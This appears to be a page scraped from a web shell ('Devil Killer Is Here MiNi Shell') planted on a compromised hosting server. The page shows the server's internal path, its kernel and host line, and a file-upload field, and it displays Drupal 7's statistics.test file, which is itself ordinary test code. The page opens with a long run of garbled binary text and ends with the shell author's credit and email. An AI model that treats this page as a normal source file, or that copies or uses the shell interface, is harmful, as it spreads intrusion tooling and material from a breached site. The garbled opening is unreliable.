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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/statistics/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/statistics/statistics.test

<?php

/**
 * @file
 * Tests for the Statistics module.
 */

/**
 * Defines a base class for testing the Statistics module.
 */
class StatisticsTestCase extends DrupalWebTestCase {

  function setUp() {
    parent::setUp('statistics');

    // Create user.
    $this->blocking_user = $this->drupalCreateUser(array(
      'access administration pages',
      'access site reports',
      'access statistics',
      'block IP addresses',
      'administer blocks',
      'administer statistics',
      'administer users',
    ));
    $this->drupalLogin($this->blocking_user);

    // Enable access logging.
    variable_set('statistics_enable_access_log', 1);
    variable_set('statistics_count_content_views', 1);

    // Insert dummy access by anonymous user into access log.
    db_insert('accesslog')
      ->fields(array(
        'title' => 'test',
        'path' => 'node/1',
        'url' => 'http://example.com',
        'hostname' => '1.2.3.3',
        'uid' => 0,
        'sid' => 10,
        'timer' => 10,
        'timestamp' => REQUEST_TIME,
      ))
      ->execute();
  }
}

/**
 * Tests that logging via statistics_exit() works for all pages.
 *
 * We subclass DrupalWebTestCase rather than StatisticsTestCase, because we
 * want to test requests from an anonymous user.
 */
class StatisticsLoggingTestCase extends DrupalWebTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Statistics logging tests',
      'description' => 'Tests request logging for cached and uncached pages.',
      'group' => 'Statistics'
    );
  }

  function setUp() {
    parent::setUp('statistics');

    $this->auth_user = $this->drupalCreateUser(array('access content', 'create page content', 'edit own page content'));

    // Ensure we have a node page to access.
    $this->node = $this->drupalCreateNode(array('title' => $this->randomName(255), 'uid' => $this->auth_user->uid));

    // Enable page caching.
    variable_set('cache', TRUE);

    // Enable access logging.
    variable_set('statistics_enable_access_log', 1);
    variable_set('statistics_count_content_views', 1);

    // Clear the logs.
    db_truncate('accesslog');
    db_truncate('node_counter');
  }

  /**
   * Verifies request logging for cached and uncached pages.
   */
  function testLogging() {
    $path = 'node/' . $this->node->nid;
    $expected = array(
      'title' => $this->node->title,
      'path' => $path,
    );

    // Verify logging of an uncached page.
    $this->drupalGet($path);
    $this->assertIdentical($this->drupalGetHeader('X-Drupal-Cache'), 'MISS', 'Testing an uncached page.');
    $log = db_query('SELECT * FROM {accesslog}')->fetchAll(PDO::FETCH_ASSOC);
    $this->assertTrue(is_array($log) && count($log) == 1, 'Page request was logged.');
    $this->assertEqual(array_intersect_key($log[0], $expected), $expected);
    $node_counter = statistics_get($this->node->nid);
    $this->assertIdentical($node_counter['totalcount'], '1');

    // Verify logging of a cached page.
    $this->drupalGet($path);
    $this->assertIdentical($this->drupalGetHeader('X-Drupal-Cache'), 'HIT', 'Testing a cached page.');
    $log = db_query('SELECT * FROM {accesslog}')->fetchAll(PDO::FETCH_ASSOC);
    $this->assertTrue(is_array($log) && count($log) == 2, 'Page request was logged.');
    $this->assertEqual(array_intersect_key($log[1], $expected), $expected);
    $node_counter = statistics_get($this->node->nid);
    $this->assertIdentical($node_counter['totalcount'], '2');

    // Test logging from authenticated users
    $this->drupalLogin($this->auth_user);
    $this->drupalGet($path);
    $log = db_query('SELECT * FROM {accesslog}')->fetchAll(PDO::FETCH_ASSOC);
    // Check the 6th item since login and account pages are also logged
    $this->assertTrue(is_array($log) && count($log) == 6, 'Page request was logged.');
    $this->assertEqual(array_intersect_key($log[5], $expected), $expected);
    $node_counter = statistics_get($this->node->nid);
    $this->assertIdentical($node_counter['totalcount'], '3');

    // Test that Ajax logging doesn't occur when disabled.
    $post = http_build_query(array('nid' => $this->node->nid));
    $headers = array('Content-Type' => 'application/x-www-form-urlencoded');
    global $base_url;
    $stats_path = $base_url . '/' . drupal_get_path('module', 'statistics'). '/statistics.php';
    drupal_http_request($stats_path, array('method' => 'POST', 'data' => $post, 'headers' => $headers, 'timeout' => 10000));
    $node_counter = statistics_get($this->node->nid);
    $this->assertIdentical($node_counter['totalcount'], '3', 'Page request was not counted via Ajax.');

    // Test that Ajax logging occurs when enabled.
    variable_set('statistics_count_content_views_ajax', 1);
    drupal_http_request($stats_path, array('method' => 'POST', 'data' => $post, 'headers' => $headers, 'timeout' => 10000));
    $node_counter = statistics_get($this->node->nid);
    $this->assertIdentical($node_counter['totalcount'], '4', 'Page request was counted via Ajax.');
    variable_set('statistics_count_content_views_ajax', 0);

    // Visit edit page to generate a title greater than 255.
    $path = 'node/' . $this->node->nid . '/edit';
    $expected = array(
      'title' => truncate_utf8(t('Edit Basic page') . ' ' . $this->node->title, 255),
      'path' => $path,
    );
    $this->drupalGet($path);
    $log = db_query('SELECT * FROM {accesslog}')->fetchAll(PDO::FETCH_ASSOC);
    $this->assertTrue(is_array($log) && count($log) == 7, 'Page request was logged.');
    $this->assertEqual(array_intersect_key($log[6], $expected), $expected);

    // Create a path longer than 255 characters. Drupal's .htaccess file
    // instructs Apache to test paths against the file system before routing to
    // index.php. Many file systems restrict file names to 255 characters
    // (http://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits), and
    // Apache returns a 403 when testing longer file names, but the total path
    // length is not restricted.
    $long_path = $this->randomName(127) . '/' . $this->randomName(128);

    // Test that the long path is properly truncated when logged.
    $this->drupalGet($long_path);
    $log = db_query('SELECT * FROM {accesslog}')->fetchAll(PDO::FETCH_ASSOC);
    $this->assertTrue(is_array($log) && count($log) == 8, 'Page request was logged for a path over 255 characters.');
    $this->assertEqual($log[7]['path'], truncate_utf8($long_path, 255));
  }
}

/**
 * Tests that report pages render properly, and that access logging works.
 */
class StatisticsReportsTestCase extends StatisticsTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Statistics reports tests',
      'description' => 'Tests display of statistics report pages and access logging.',
      'group' => 'Statistics'
    );
  }

  /**
   * Verifies that 'Recent hits' renders properly and displays the added hit.
   */
  function testRecentHits() {
    $this->drupalGet('admin/reports/hits');
    $this->assertText('test', 'Hit title found.');
    $this->assertText('node/1', 'Hit URL found.');
    $this->assertText('Anonymous', 'Hit user found.');
  }

  /**
   * Verifies that 'Top pages' renders properly and displays the added hit.
   */
  function testTopPages() {
    $this->drupalGet('admin/reports/pages');
    $this->assertText('test', 'Hit title found.');
    $this->assertText('node/1', 'Hit URL found.');
  }

  /**
   * Verifies that 'Top referrers' renders properly and displays the added hit.
   */
  function testTopReferrers() {
    $this->drupalGet('admin/reports/referrers');
    $this->assertText('http://example.com', 'Hit referrer found.');
  }

  /**
   * Verifies that 'Details' page renders properly and displays the added hit.
   */
  function testDetails() {
    $this->drupalGet('admin/reports/access/1');
    $this->assertText('test', 'Hit title found.');
    $this->assertText('node/1', 'Hit URL found.');
    $this->assertText('Anonymous', 'Hit user found.');
  }

  /**
   * Verifies that access logging is working and is reported correctly.
   */
  function testAccessLogging() {
    $this->drupalGet('admin/reports/referrers');
    $this->drupalGet('admin/reports/hits');
    $this->assertText('Top referrers in the past 3 days', 'Hit title found.');
    $this->assertText('admin/reports/referrers', 'Hit URL found.');
  }

  /**
   * Tests the "popular content" block.
   */
  function testPopularContentBlock() {
    // Visit a node to have something show up in the block.
    $node = $this->drupalCreateNode(array('type' => 'page', 'uid' => $this->blocking_user->uid));
    $this->drupalGet('node/' . $node->nid);

    // Configure and save the block.
    $block = block_load('statistics', 'popular');
    $block->theme = variable_get('theme_default', 'bartik');
    $block->status = 1;
    $block->pages = '';
    $block->region = 'sidebar_first';
    $block->cache = -1;
    $block->visibility = 0;
    $edit = array('statistics_block_top_day_num' => 3, 'statistics_block_top_all_num' => 3, 'statistics_block_top_last_num' => 3);
    module_invoke('statistics', 'block_save', 'popular', $edit);
    drupal_write_record('block', $block);

    // Get some page and check if the block is displayed.
    $this->drupalGet('user');
    $this->assertText('Popular content', 'Found the popular content block.');
    $this->assertText("Today's", 'Found today\'s popular content.');
    $this->assertText('All time', 'Found the alll time popular content.');
    $this->assertText('Last viewed', 'Found the last viewed popular content.');

    $this->assertRaw(l($node->title, 'node/' . $node->nid), 'Found link to visited node.');
  }
}

/**
 * Tests that the visitor blocking functionality works.
 */
class StatisticsBlockVisitorsTestCase extends StatisticsTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Top visitor blocking',
      'description' => 'Tests blocking of IP addresses via the top visitors report.',
      'group' => 'Statistics'
    );
  }

  /**
   * Blocks an IP address via the top visitors report and then unblocks it.
   */
  function testIPAddressBlocking() {
    // IP address for testing.
    $test_ip_address = '1.2.3.3';

    // Verify the IP address from accesslog appears on the top visitors page
    // and that a 'block IP address' link is displayed.
    $this->drupalLogin($this->blocking_user);
    $this->drupalGet('admin/reports/visitors');
    $this->assertText($test_ip_address, 'IP address found.');
    $this->assertText(t('block IP address'), 'Block IP link displayed');

    // Block the IP address.
    $this->clickLink('block IP address');
    $this->assertText(t('IP address blocking'), 'IP blocking page displayed.');
    $edit = array();
    $edit['ip'] = $test_ip_address;
    $this->drupalPost('admin/config/people/ip-blocking', $edit, t('Add'));
    $ip = db_query("SELECT iid from {blocked_ips} WHERE ip = :ip", array(':ip' => $edit['ip']))->fetchField();
    $this->assertNotEqual($ip, FALSE, 'IP address found in database');
    $this->assertRaw(t('The IP address %ip has been blocked.', array('%ip' => $edit['ip'])), 'IP address was blocked.');

    // Verify that the block/unblock link on the top visitors page has been
    // altered.
    $this->drupalGet('admin/reports/visitors');
    $this->assertText(t('unblock IP address'), 'Unblock IP address link displayed');

    // Unblock the IP address.
    $this->clickLink('unblock IP address');
    $this->assertRaw(t('Are you sure you want to delete %ip?', array('%ip' => $test_ip_address)), 'IP address deletion confirmation found.');
    $edit = array();
    $this->drupalPost('admin/config/people/ip-blocking/delete/1', NULL, t('Delete'));
    $this->assertRaw(t('The IP address %ip was deleted.', array('%ip' => $test_ip_address)), 'IP address deleted.');
  }
}

/**
 * Tests the statistics administration screen.
 */
class StatisticsAdminTestCase extends DrupalWebTestCase {

  /**
   * A user that has permission to administer and access statistics.
   *
   * @var object|FALSE
   *
   * A fully loaded user object, or FALSE if user creation failed.
   */
  protected $privileged_user;

  /**
   * A page node for which to check access statistics.
   *
   * @var object
   */
  protected $test_node;

  public static function getInfo() {
    return array(
      'name' => 'Test statistics admin.',
      'description' => 'Tests the statistics admin.',
      'group' => 'Statistics'
    );
  }

  function setUp() {
    parent::setUp('statistics');
    $this->privileged_user = $this->drupalCreateUser(array('access statistics', 'administer statistics', 'view post access counter', 'create page content'));
    $this->drupalLogin($this->privileged_user);
    $this->test_node = $this->drupalCreateNode(array('type' => 'page', 'uid' => $this->privileged_user->uid));
  }

  /**
   * Verifies that the statistics settings page works.
   */
  function testStatisticsSettings() {
    $this->assertFalse(variable_get('statistics_enable_access_log', 0), 'Access log is disabled by default.');
    $this->assertFalse(variable_get('statistics_count_content_views', 0), 'Count content view log is disabled by default.');

    $this->drupalGet('admin/reports/pages');
    $this->assertRaw(t('No statistics available.'), 'Verifying text shown when no statistics is available.');

    // Enable access log and counter on content view.
    $edit['statistics_enable_access_log'] = 1;
    $edit['statistics_count_content_views'] = 1;
    $this->drupalPost('admin/config/system/statistics', $edit, t('Save configuration'));
    $this->assertTrue(variable_get('statistics_enable_access_log'), 'Access log is enabled.');
    $this->assertTrue(variable_get('statistics_count_content_views'), 'Count content view log is enabled.');

    // Hit the node.
    $this->drupalGet('node/' . $this->test_node->nid);

    $this->drupalGet('admin/reports/pages');
    $this->assertText('node/1', 'Test node found.');

    // Hit the node again (the counter is incremented after the hit, so
    // "1 read" will actually be shown when the node is hit the second time).
    $this->drupalGet('node/' . $this->test_node->nid);
    $this->assertText('1 read', 'Node is read once.');

    $this->drupalGet('node/' . $this->test_node->nid);
    $this->assertText('2 reads', 'Node is read 2 times.');
  }

  /**
   * Tests that when a node is deleted, the node counter is deleted too.
   */
  function testDeleteNode() {
    variable_set('statistics_count_content_views', 1);

    $this->drupalGet('node/' . $this->test_node->nid);

    $result = db_select('node_counter', 'n')
      ->fields('n', array('nid'))
      ->condition('n.nid', $this->test_node->nid)
      ->execute()
      ->fetchAssoc();
    $this->assertEqual($result['nid'], $this->test_node->nid, 'Verifying that the node counter is incremented.');

    node_delete($this->test_node->nid);

    $result = db_select('node_counter', 'n')
      ->fields('n', array('nid'))
      ->condition('n.nid', $this->test_node->nid)
      ->execute()
      ->fetchAssoc();
    $this->assertFalse($result, 'Verifying that the node counter is deleted.');
  }

  /**
   * Tests that accesslog reflects when a user is deleted.
   */
  function testDeleteUser() {
    variable_set('statistics_enable_access_log', 1);

    variable_set('user_cancel_method', 'user_cancel_delete');
    $this->drupalLogout($this->privileged_user);
    $account = $this->drupalCreateUser(array('access content', 'cancel account'));
    $this->drupalLogin($account);
    $this->drupalGet('node/' . $this->test_node->nid);

    $account = user_load($account->uid, TRUE);

    $this->drupalGet('user/' . $account->uid . '/edit');
    $this->drupalPost(NULL, NULL, t('Cancel account'));

    $timestamp = time();
    $this->drupalPost(NULL, NULL, t('Cancel account'));
    // Confirm account cancellation request.
    $this->drupalGet("user/$account->uid/cancel/confirm/$timestamp/" . user_pass_rehash($account->pass, $timestamp, $account->login, $account->uid));
    $this->assertFalse(user_load($account->uid, TRUE), 'User is not found in the database.');

    $this->drupalGet('admin/reports/visitors');
    $this->assertNoText($account->name, 'Did not find user in visitor statistics.');
  }

  /**
   * Tests that cron clears day counts and expired access logs.
   */
  function testExpiredLogs() {
    variable_set('statistics_enable_access_log', 1);
    variable_set('statistics_count_content_views', 1);
    variable_set('statistics_day_timestamp', 8640000);
    variable_set('statistics_flush_accesslog_timer', 1);

    $this->drupalGet('node/' . $this->test_node->nid);
    $this->drupalGet('node/' . $this->test_node->nid);
    $this->assertText('1 read', 'Node is read once.');

    $this->drupalGet('admin/reports/pages');
    $this->assertText('node/' . $this->test_node->nid, 'Hit URL found.');

    // statistics_cron will subtract the statistics_flush_accesslog_timer
    // variable from REQUEST_TIME in the delete query, so wait two secs here to
    // make sure the access log will be flushed for the node just hit.
    sleep(2);
    $this->cronRun();

    $this->drupalGet('admin/reports/pages');
    $this->assertNoText('node/' . $this->test_node->nid, 'No hit URL found.');

    $result = db_select('node_counter', 'nc')
      ->fields('nc', array('daycount'))
      ->condition('nid', $this->test_node->nid, '=')
      ->execute()
      ->fetchField();
    $this->assertFalse($result, 'Daycounter is zero.');
  }
}

/**
 * Tests statistics token replacement in strings.
 */
class StatisticsTokenReplaceTestCase extends StatisticsTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Statistics token replacement',
      'description' => 'Generates text using placeholders for dummy content to check statistics token replacement.',
      'group' => 'Statistics',
    );
  }

  /**
   * Creates a node, then tests the statistics tokens generated from it.
   */
  function testStatisticsTokenReplacement() {
    global $language;

    // Create user and node.
    $user = $this->drupalCreateUser(array('create page content'));
    $this->drupalLogin($user);
    $node = $this->drupalCreateNode(array('type' => 'page', 'uid' => $user->uid));

    // Hit the node.
    $this->drupalGet('node/' . $node->nid);
    $statistics = statistics_get($node->nid);

    // Generate and test tokens.
    $tests = array();
    $tests['[node:total-count]'] = 1;
    $tests['[node:day-count]'] = 1;
    $tests['[node:last-view]'] = format_date($statistics['timestamp']);
    $tests['[node:last-view:short]'] = format_date($statistics['timestamp'], 'short');

    // Test to make sure that we generated something for each token.
    $this->assertFalse(in_array(0, array_map('strlen', $tests)), 'No empty tokens generated.');

    foreach ($tests as $input => $expected) {
      $output = token_replace($input, array('node' => $node), array('language' => $language));
      $this->assertEqual($output, $expected, format_string('Statistics token %token replaced.', array('%token' => $input)));
    }
  }
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com